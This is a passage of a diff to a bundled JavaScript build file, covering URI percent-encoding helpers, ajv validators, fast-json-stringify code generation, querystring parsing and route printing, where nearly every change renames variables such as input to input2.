+ if (input2[0] === ".") { + if (input2[1] === ".") { break; - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - output.push("/"); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + output2.push("/"); break; } } } else if (len === 3) { - if (input === "/..") { - if (output.length !== 0) { - output.pop(); + if (input2 === "/..") { + if (output2.length !== 0) { + output2.pop(); } - output.push("/"); + output2.push("/"); break; } } - if (input[0] === ".") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(3); + if (input2[0] === ".") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(3); continue; } - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(2); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(2); continue; - } else if (input[2] === ".") { - if (input[3] === "/") { - input = input.slice(3); - if (output.length !== 0) { - output.pop(); + } else if (input2[2] === ".") { + if (input2[3] === "/") { + input2 = input2.slice(3); + if (output2.length !== 0) { + output2.pop(); } continue; } } } } - if ((nextSlash = input.indexOf("/", 1)) === -1) { - output.push(input); + if ((nextSlash = input2.indexOf("/", 1)) === -1) { + output2.push(input2); break; } else { - output.push(input.slice(0, nextSlash)); - input = input.slice(nextSlash); + output2.push(input2.slice(0, nextSlash)); + input2 = input2.slice(nextSlash); } } - return output.join(""); + return output2.join(""); } var HOST_DELIMS = { "@": "%40", "/": "%2F", "?": "%3F", "#": "%23", ":": "%3A" }; var HOST_DELIM_RE = /[@/?#:]/g; @@ -34032,29 +34032,29 @@ var require_utils2 = __commonJS({ re2.lastIndex = 0; return host.replace(re2, (ch) => HOST_DELIMS[ch]); } - function normalizePercentEncoding(input, decodeUnreserved = false) { - if (input.indexOf("%") === -1) { - return input; + function normalizePercentEncoding(input2, decodeUnreserved = false) { + if (input2.indexOf("%") === -1) { + return input2; } - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decodeUnreserved && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } - output += input[i]; + output2 += input2[i]; } - return output; + return output2; } var BYTE_HEX = new Array(256); { @@ -34075,56 +34075,56 @@ var require_utils2 = __commonJS({ } return BYTE_HEX[240 | cp >> 18] + BYTE_HEX[128 | cp >> 12 & 63] + BYTE_HEX[128 | cp >> 6 & 63] + BYTE_HEX[128 | cp & 63]; } - function normalizePathEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizePathEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decoded !== "." && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isPathCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function serializePathEncoding(input, pathNoScheme = false) { - let output = ""; - let firstSegment = pathNoScheme && input[0] !== "/"; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function serializePathEncoding(input2, pathNoScheme = false) { + let output2 = ""; + let firstSegment = pathNoScheme && input2[0] !== "/"; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } @@ -34133,143 +34133,143 @@ var require_utils2 = __commonJS({ firstSegment = false; } if (isPathCharacter(ch) && (ch !== ":" || !firstSegment)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function normalizeQueryFragmentEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizeQueryFragmentEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isQueryFragmentCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeComponent(input, isAllowed) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function encodeComponent(input2, isAllowed) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } if (isAllowed(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeUserinfo(input) { - return encodeComponent(input, isUserinfoCharacter); + function encodeUserinfo(input2) { + return encodeComponent(input2, isUserinfoCharacter); } - function encodeQuery(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeQuery(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function encodeFragment(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeFragment(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function escapePreservingEscapes(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function escapePreservingEscapes(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } - return output; + return output2; } function recomposeZonedIPv6Host(component) { const zone = component.ipv6Zone; @@ -34279,8 +34279,8 @@ var require_utils2 = __commonJS({ if (separator === -1) return void 0; const address = host.slice(0, separator); const escaped = address + "%25" + zone; - const derived = normalizeIPv6("[" + escaped + "]"); - if (derived.isIPV6 === true && derived.host === host) { + const derived2 = normalizeIPv6("[" + escaped + "]"); + if (derived2.isIPV6 === true && derived2.host === host) { return "[" + escaped + "]"; } return void 0; @@ -34559,35 +34559,35 @@ var require_schemes2 = __commonJS({ return str; } } - function replaceLoneSurrogates(input) { + function replaceLoneSurrogates(input2) { let result = ""; - for (let i = 0; i < input.length; i++) { - const code = input.charCodeAt(i); - if (code >= 55296 && code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + for (let i = 0; i < input2.length; i++) { + const code = input2.charCodeAt(i); + if (code >= 55296 && code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - result += input[i] + input[i + 1]; + result += input2[i] + input2[i + 1]; i++; continue; } } - result += code >= 55296 && code <= 57343 ? "\uFFFD" : input[i]; + result += code >= 55296 && code <= 57343 ? "\uFFFD" : input2[i]; } return result; } - function encodeWithAllow(input, set2) { - if (set2.all.test(input)) { - return input; + function encodeWithAllow(input2, set2) { + if (set2.all.test(input2)) { + return input2; } const table2 = set2.table; let result = ""; - for (let i = 0; i < input.length; i++) { - const code = input.charCodeAt(i); + for (let i = 0; i < input2.length; i++) { + const code = input2.charCodeAt(i); if (code < 128) { if (table2[code] === 1) { - result += input[i]; - } else if (code === 37 && i + 2 < input.length && HEX_PAIR.test(input.slice(i + 1, i + 3))) { - result += "%" + input.slice(i + 1, i + 3).toUpperCase(); + result += input2[i]; + } else if (code === 37 && i + 2 < input2.length && HEX_PAIR.test(input2.slice(i + 1, i + 3))) { + result += "%" + input2.slice(i + 1, i + 3).toUpperCase(); i += 2; } else { result += BYTE_HEX[code]; @@ -34595,13 +34595,13 @@ var require_schemes2 = __commonJS({ continue; } if (code < 55296 || code > 57343) { - result += set2.allowNonAscii ? input[i] : percentEncodeNonAscii(code); + result += set2.allowNonAscii ? input2[i] : percentEncodeNonAscii(code); continue; } - if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - result += set2.allowNonAscii ? input[i] + input[i + 1] : percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + result += set2.allowNonAscii ? input2[i] + input2[i + 1] : percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; continue; } @@ -35250,8 +35250,8 @@ var require_formats = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.formatNames = exports.fastFormats = exports.fullFormats = void 0; - function fmtDef(validate, compare) { - return { validate, compare }; + function fmtDef(validate2, compare) { + return { validate: validate2, compare }; } exports.fullFormats = { // date: http://tools.ietf.org/html/rfc3339#section-5.6 @@ -35462,7 +35462,7 @@ var require_limit = __commonJS({ formatExclusiveMaximum: { okStr: "<", ok: ops.LT, fail: ops.GTE }, formatExclusiveMinimum: { okStr: ">", ok: ops.GT, fail: ops.LTE } }; - var error51 = { + var error62 = { message: ({ keyword, schemaCode }) => (0, codegen_1.str)`should be ${KWDs[keyword].okStr} ${schemaCode}`, params: ({ keyword, schemaCode }) => (0, codegen_1._)`{comparison: ${KWDs[keyword].okStr}, limit: ${schemaCode}}` }; @@ -35471,7 +35471,7 @@ var require_limit = __commonJS({ type: "string", schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, schemaCode, keyword, it } = cxt; const { opts, self: self2 } = it; @@ -35692,14 +35692,14 @@ var require_standalone = __commonJS({ const v = vRef; return validateCode(usedValues, v.source); } else if ((n.prefix === "root" || n.prefix === "wrapper") && typeof vRef == "object") { - const { validate, validateName } = vRef; + const { validate: validate2, validateName } = vRef; if (!validateName) throw new Error("ajv internal error"); const def = ajv.opts.code.es5 ? scope_1.varKinds.var : scope_1.varKinds.const; const wrapper = (0, code_1._)`${def} ${n} = {validate: ${validateName}};`; if (usedState(validateName) === scope_1.UsedValueState.Started) return wrapper; - const vCode = validateCode(usedValues, validate === null || validate === void 0 ? void 0 : validate.source); + const vCode = validateCode(usedValues, validate2 === null || validate2 === void 0 ? void 0 : validate2.source); return (0, code_1._)`${wrapper}${_n}${vCode}`; } return void 0; @@ -36096,21 +36096,21 @@ var require_json_schema_ref_resolver = __commonJS({ } this.#schemas[schemaId] = { schema, anchors: {}, refs: [] }; } - #insertSchemaByAnchor(schema, schemaId, anchor) { + #insertSchemaByAnchor(schema, schemaId, anchor2) { const { anchors } = this.#schemas[schemaId]; - if (anchors[anchor] !== void 0) { - throw new Error(`There is already another anchor "${anchor}" in schema "${schemaId}".`); + if (anchors[anchor2] !== void 0) { + throw new Error(`There is already another anchor "${anchor2}" in schema "${schemaId}".`); } - anchors[anchor] = schema; + anchors[anchor2] = schema; } #insertDerefSchemaBySchemaId(schema, schemaId) { const foundSchema = this.#derefSchemas[schemaId]; if (foundSchema !== void 0) return; this.#derefSchemas[schemaId] = { schema, anchors: {} }; } - #insertDerefSchemaByAnchor(schema, schemaId, anchor) { + #insertDerefSchemaByAnchor(schema, schemaId, anchor2) { const { anchors } = this.#derefSchemas[schemaId]; - anchors[anchor] = schema; + anchors[anchor2] = schema; } }; function getDataByJSONPointer(data, jsonPointer) { @@ -37517,9 +37517,9 @@ var require_merge_json_schemas = __commonJS({ if (mergedSchema2 !== void 0) { mergedOneOf.push(mergedSchema2); } - } catch (error51) { - if (error51 instanceof errors.MergeError) continue; - throw error51; + } catch (error62) { + if (error62 instanceof errors.MergeError) continue; + throw error62; } } mergedSchema[keyword] = mergedOneOf; @@ -37799,7 +37799,7 @@ var require_fast_json_stringify = __commonJS({ var Serializer = require_serializer(); var Validator = require_validator(); var Location = require_location(); - var validate = require_schema_validator(); + var validate2 = require_schema_validator(); var mergeSchemas = require_merge_schemas(); var largeArraySize = 2e4; var largeArrayMechanism = "default"; @@ -37829,13 +37829,13 @@ const asInteger = serializer.asInteger.bind(serializer) ]); var schemaIdCounter = 0; function isValidSchema(schema, name) { - if (!validate(schema)) { + if (!validate2(schema)) { if (name) { name = `"${name}" `; } else { name = ""; } - const first = validate.errors[0]; + const first = validate2.errors[0]; const err = new Error(`${name}schema is invalid: data${first.instancePath} ${first.message}`); err.errors = isValidSchema.errors; throw err; @@ -38238,11 +38238,11 @@ ${contextFunctionCode}`, : ${variableName} `; } - function buildObject(context2, location, input) { + function buildObject(context2, location, input2) { const schema = location.schema; if (context2.functionsNamesBySchema.has(schema)) { const funcName = context2.functionsNamesBySchema.get(schema); - return `json += ${funcName}(${input})`; + return `json += ${funcName}(${input2})`; } const nullable2 = schema.nullable === true; const schemaId = location.schemaId || ""; @@ -38264,12 +38264,12 @@ ${contextFunctionCode}`, } `; context2.functions.push(functionCode); - return `json += ${functionName}(${input})`; + return `json += ${functionName}(${input2})`; } context2.buildingSet.add(schema); const objVar = `obj_${context2.uid++}`; const code = ` - const ${objVar} = ${toJSON(input)} + const ${objVar} = ${toJSON(input2)} if (${objVar} === null) { json += ${nullable2 ? "JSON_STR_NULL" : "JSON_STR_EMPTY_OBJECT"} } else { @@ -38279,7 +38279,7 @@ ${contextFunctionCode}`, context2.buildingSet.delete(schema); return code; } - function buildArray(context2, location, input) { + function buildArray(context2, location, input2) { const schema = location.schema; let itemsLocation = location.getPropertyLocation("items"); itemsLocation.schema = itemsLocation.schema || {}; @@ -38289,7 +38289,7 @@ ${contextFunctionCode}`, const itemsSchema = itemsLocation.schema; if (context2.functionsNamesBySchema.has(schema)) { const funcName = context2.functionsNamesBySchema.get(schema); - return `json += ${funcName}(${input})`; + return `json += ${funcName}(${input2})`; } const nullable2 = schema.nullable === true; const schemaId = location.schemaId || ""; @@ -38375,13 +38375,13 @@ ${contextFunctionCode}`, return json + JSON_STR_END_ARRAY }`; context2.functions.push(functionCode); - return `json += ${functionName}(${input})`; + return `json += ${functionName}(${input2})`; } context2.buildingSet.add(schema); const safeSchemaRef = getSafeSchemaRef(context2, location); const objVar = `obj_${context2.uid++}`; let inlinedCode = ` - const ${objVar} = ${input} + const ${objVar} = ${input2} if (${objVar} === null) { json += ${nullable2 ? "JSON_STR_NULL" : "JSON_STR_EMPTY_ARRAY"} } else if (!Array.isArray(${objVar})) { @@ -38503,18 +38503,18 @@ ${contextFunctionCode}`, function generateFuncName(context2) { return "anonymous" + context2.functionsCounter++; } - function buildMultiTypeSerializer(context2, location, input) { + function buildMultiTypeSerializer(context2, location, input2) { const schema = location.schema; const types2 = schema.type.sort((t1) => t1 === "null" ? -1 : 1); let code = ""; types2.forEach((type, index2) => { location.schema = { ...location.schema, type }; - const nestedResult = buildSingleTypeSerializer(context2, location, input); + const nestedResult = buildSingleTypeSerializer(context2, location, input2); const statement = index2 === 0 ? "if" : "else if"; switch (type) { case "null": code += ` - ${statement} (${input} === null) { + ${statement} (${input2} === null) { ${nestedResult} } `; @@ -38522,14 +38522,14 @@ ${contextFunctionCode}`, case "string": { code += ` ${statement}( - typeof ${input} === "string" || - ${input} === null || - ${input} instanceof Date || - ${input} instanceof RegExp || + typeof ${input2} === "string" || + ${input2} === null || + ${input2} instanceof Date || + ${input2} instanceof RegExp || ( - typeof ${input} === "object" && - typeof ${input}.toString === "function" && - ${input}.toString !== Object.prototype.toString + typeof ${input2} === "object" && + typeof ${input2}.toString === "function" && + ${input2}.toString !== Object.prototype.toString ) ) { ${nestedResult} @@ -38539,7 +38539,7 @@ ${contextFunctionCode}`, } case "array": { code += ` - ${statement}(Array.isArray(${input})) { + ${statement}(Array.isArray(${input2})) { ${nestedResult} } `; @@ -38547,7 +38547,7 @@ ${contextFunctionCode}`, } case "integer": { code += ` - ${statement}(Number.isInteger(${input}) || ${input} === null) { + ${statement}(Number.isInteger(${input2}) || ${input2} === null) { ${nestedResult} } `; @@ -38555,7 +38555,7 @@ ${contextFunctionCode}`, } default: { code += ` - ${statement}(typeof ${input} === "${type}" || ${input} === null) { + ${statement}(typeof ${input2} === "${type}" || ${input2} === null) { ${nestedResult} } `; @@ -38568,52 +38568,52 @@ ${contextFunctionCode}`, `; return code; } - function buildSingleTypeSerializer(context2, location, input) { + function buildSingleTypeSerializer(context2, location, input2) { const schema = location.schema; switch (schema.type) { case "null": return "json += JSON_STR_NULL"; case "string": { if (schema.format === "date-time") { - return `json += asDateTime(${input})`; + return `json += asDateTime(${input2})`; } else if (schema.format === "date") { - return `json += asDate(${input})`; + return `json += asDate(${input2})`; } else if (schema.format === "time") { - return `json += asTime(${input})`; + return `json += asTime(${input2})`; } else if (schema.format === "unsafe") { - return `json += asUnsafeString(${input})`; + return `json += asUnsafeString(${input2})`; } else { return ` - if (typeof ${input} !== 'string') { - if (${input} === null) { + if (typeof ${input2} !== 'string') { + if (${input2} === null) { json += JSON_STR_EMPTY_STRING - } else if (${input} instanceof Date) { - json += JSON_STR_QUOTE + ${input}.toISOString() + JSON_STR_QUOTE - } else if (${input} instanceof RegExp) { - json += asString(${input}.source) + } else if (${input2} instanceof Date) { + json += JSON_STR_QUOTE + ${input2}.toISOString() + JSON_STR_QUOTE + } else if (${input2} instanceof RegExp) { + json += asString(${input2}.source) } else { - json += asString(${input}.toString()) + json += asString(${input2}.toString()) } } else { - json += asString(${input}) + json += asString(${input2}) } `; } } case "integer": - return `json += asInteger(${input})`; + return `json += asInteger(${input2})`; case "number": - return `json += asNumber(${input})`; + return `json += asNumber(${input2})`; case "boolean": - return `json += asBoolean(${input})`; + return `json += asBoolean(${input2})`; case "object": { - return buildObject(context2, location, input); + return buildObject(context2, location, input2); } case "array": { - return buildArray(context2, location, input); + return buildArray(context2, location, input2); } case void 0: - return `json += JSON.stringify(${input})`; + return `json += JSON.stringify(${input2})`; default: throw new Error(`${schema.type} unsupported`); } @@ -38695,14 +38695,14 @@ ${contextFunctionCode}`, } traverse(location); } - function buildConstSerializer(location, input) { + function buildConstSerializer(location, input2) { const schema = location.schema; const type = schema.type; const hasNullType = Array.isArray(type) && type.includes("null"); let code = ""; if (hasNullType) { code += ` - if (${input} === null) { + if (${input2} === null) { json += JSON_STR_NULL } else { `; @@ -38715,12 +38715,12 @@ ${contextFunctionCode}`, } return code; } - function buildAllOf(context2, location, input) { + function buildAllOf(context2, location, input2) { const schema = location.schema; let mergedSchemaId = context2.mergedSchemasIds.get(schema); if (mergedSchemaId) { const mergedLocation2 = getMergedLocation(context2, mergedSchemaId); - return buildValue(context2, mergedLocation2, input); + return buildValue(context2, mergedLocation2, input2); } mergedSchemaId = `__fjs_merged_${schemaIdCounter++}`; context2.mergedSchemasIds.set(schema, mergedSchemaId); @@ -38737,9 +38737,9 @@ ${contextFunctionCode}`, locations.push(allOfsLocation.getPropertyLocation(i)); } const mergedLocation = mergeLocations(context2, mergedSchemaId, locations); - return buildValue(context2, mergedLocation, input); + return buildValue(context2, mergedLocation, input2); } - function buildOneOf(context2, location, input) { + function buildOneOf(context2, location, input2) { context2.validatorSchemasIds.add(location.schemaId); const schema = location.schema; const type = schema.anyOf ? "anyOf" : "oneOf"; @@ -38766,10 +38766,10 @@ ${contextFunctionCode}`, optionLocation ]); } - const nestedResult = buildValue(context2, mergedLocation, input); + const nestedResult = buildValue(context2, mergedLocation, input2); const schemaRef = optionLocation.getSchemaRef(); code += ` - ${index2 === 0 ? "if" : "else if"}(validator.validate("${schemaRef}", ${input})) { + ${index2 === 0 ? "if" : "else if"}(validator.validate("${schemaRef}", ${input2})) { ${nestedResult} } `; @@ -38779,7 +38779,7 @@ ${contextFunctionCode}`, `; return code; } - function buildIfThenElse(context2, location, input) { + function buildIfThenElse(context2, location, input2) { context2.validatorSchemasIds.add(location.schemaId); const { if: ifSchema, @@ -38809,10 +38809,10 @@ ${contextFunctionCode}`, } if (!elseSchema) { return ` - if (validator.validate("${ifSchemaRef}", ${input})) { - ${buildValue(context2, thenMergedLocation, input)} + if (validator.validate("${ifSchemaRef}", ${input2})) { + ${buildValue(context2, thenMergedLocation, input2)} } else { - ${buildValue(context2, rootLocation, input)} + ${buildValue(context2, rootLocation, input2)} } `; } @@ -38830,30 +38830,30 @@ ${contextFunctionCode}`, ]); } return ` - if (validator.validate("${ifSchemaRef}", ${input})) { - ${buildValue(context2, thenMergedLocation, input)} + if (validator.validate("${ifSchemaRef}", ${input2})) { + ${buildValue(context2, thenMergedLocation, input2)} } else { - ${buildValue(context2, elseMergedLocation, input)} + ${buildValue(context2, elseMergedLocation, input2)} } `; } - function buildValue(context2, location, input) { + function buildValue(context2, location, input2) { let schema = location.schema; if (typeof schema === "boolean") { - return `json += JSON.stringify(${input})`; + return `json += JSON.stringify(${input2})`; } if (schema.$ref) { location = resolveRef2(context2, location); schema = location.schema; } if (schema.allOf) { - return buildAllOf(context2, location, input); + return buildAllOf(context2, location, input2); } if (schema.anyOf || schema.oneOf) { - return buildOneOf(context2, location, input); + return buildOneOf(context2, location, input2); } if (schema.if && schema.then) { - return buildIfThenElse(context2, location, input); + return buildIfThenElse(context2, location, input2); } if (schema.type === void 0) { const inferredType = inferTypeByKeyword(schema); @@ -38866,17 +38866,17 @@ ${contextFunctionCode}`, const nullable2 = schema.nullable === true; if (nullable2) { code += ` - if (${input} === null) { + if (${input2} === null) { json += JSON_STR_NULL } else { `; } if (schema.const !== void 0) { - code += buildConstSerializer(location, input); + code += buildConstSerializer(location, input2); } else if (Array.isArray(type)) { - code += buildMultiTypeSerializer(context2, location, input); + code += buildMultiTypeSerializer(context2, location, input2); } else { - code += buildSingleTypeSerializer(context2, location, input); + code += buildSingleTypeSerializer(context2, location, input2); } if (nullable2) { code += ` @@ -41705,12 +41705,12 @@ var require_parse3 = __commonJS({ var Empty = function() { }; Empty.prototype = /* @__PURE__ */ Object.create(null); - function parse4(input) { + function parse4(input2) { const result = new Empty(); - if (typeof input !== "string") { + if (typeof input2 !== "string") { return result; } - let inputLength = input.length; + let inputLength = input2.length; let key = ""; let value = ""; let startingIndex = -1; @@ -41722,13 +41722,13 @@ var require_parse3 = __commonJS({ let hasBothKeyValuePair = false; let c = 0; for (let i = 0; i < inputLength + 1; i++) { - c = i !== inputLength ? input.charCodeAt(i) : 38; + c = i !== inputLength ? input2.charCodeAt(i) : 38; if (c === 38) { hasBothKeyValuePair = equalityIndex > startingIndex; if (!hasBothKeyValuePair) { equalityIndex = i; } - key = input.slice(startingIndex + 1, equalityIndex); + key = input2.slice(startingIndex + 1, equalityIndex); if (hasBothKeyValuePair || key.length > 0) { if (keyHasPlus) { key = key.replace(plusRegex, " "); @@ -41737,7 +41737,7 @@ var require_parse3 = __commonJS({ key = fastDecode(key) || key; } if (hasBothKeyValuePair) { - value = input.slice(equalityIndex + 1, i); + value = input2.slice(equalityIndex + 1, i); if (valueHasPlus) { value = value.replace(plusRegex, " "); } @@ -41997,18 +41997,18 @@ var require_stringify = __commonJS({ } return ""; } - function stringify2(input) { + function stringify2(input2) { let result = ""; - if (input === null || typeof input !== "object") { + if (input2 === null || typeof input2 !== "object") { return result; } const separator = "&"; - const keys = Object.keys(input); + const keys = Object.keys(input2); const keyLength = keys.length; let valueLength = 0; for (let i = 0; i < keyLength; i++) { const key = keys[i]; - const value = input[key]; + const value = input2[key]; const encodedKey = encodeString(key) + "="; if (i) { result += separator; @@ -42776,24 +42776,24 @@ var require_safe_regex2 = __commonJS({ "use strict"; var parse4 = require_dist4(); var { types: types2 } = require_dist4(); - function walk(node, opts, starHeight) { + function walk(node2, opts, starHeight) { let i; let ok; let len; - if (node.type === types2.REPETITION) { + if (node2.type === types2.REPETITION) { starHeight++; opts.reps++; if (starHeight > 1) return false; if (opts.reps > opts.limit) return false; } - const options = node.options || node.value?.options; + const options = node2.options || node2.value?.options; if (options) { for (i = 0, len = options.length; i < len; i++) { ok = walk({ stack: options[i] }, opts, starHeight); if (!ok) return false; } } - const stack = node.stack || node.value?.stack; + const stack = node2.stack || node2.value?.stack; if (!stack) return true; for (i = 0, len = stack.length; i < len; i++) { ok = walk(stack[i], opts, starHeight); @@ -42943,8 +42943,8 @@ var require_pretty_print = __commonJS({ return mergedRoutes; }, []); } - function serializeNode(node, prefix, options) { - let routes = node.routes; + function serializeNode(node2, prefix, options) { + let routes = node2.routes; if (options.method === void 0) { routes = routes.map(normalizeRoute); } @@ -42958,28 +42958,28 @@ var require_pretty_print = __commonJS({ return routes.map(serializeRoute).join(` ${prefix}`); } - function buildObjectTree(node, tree, prefix, options) { - if 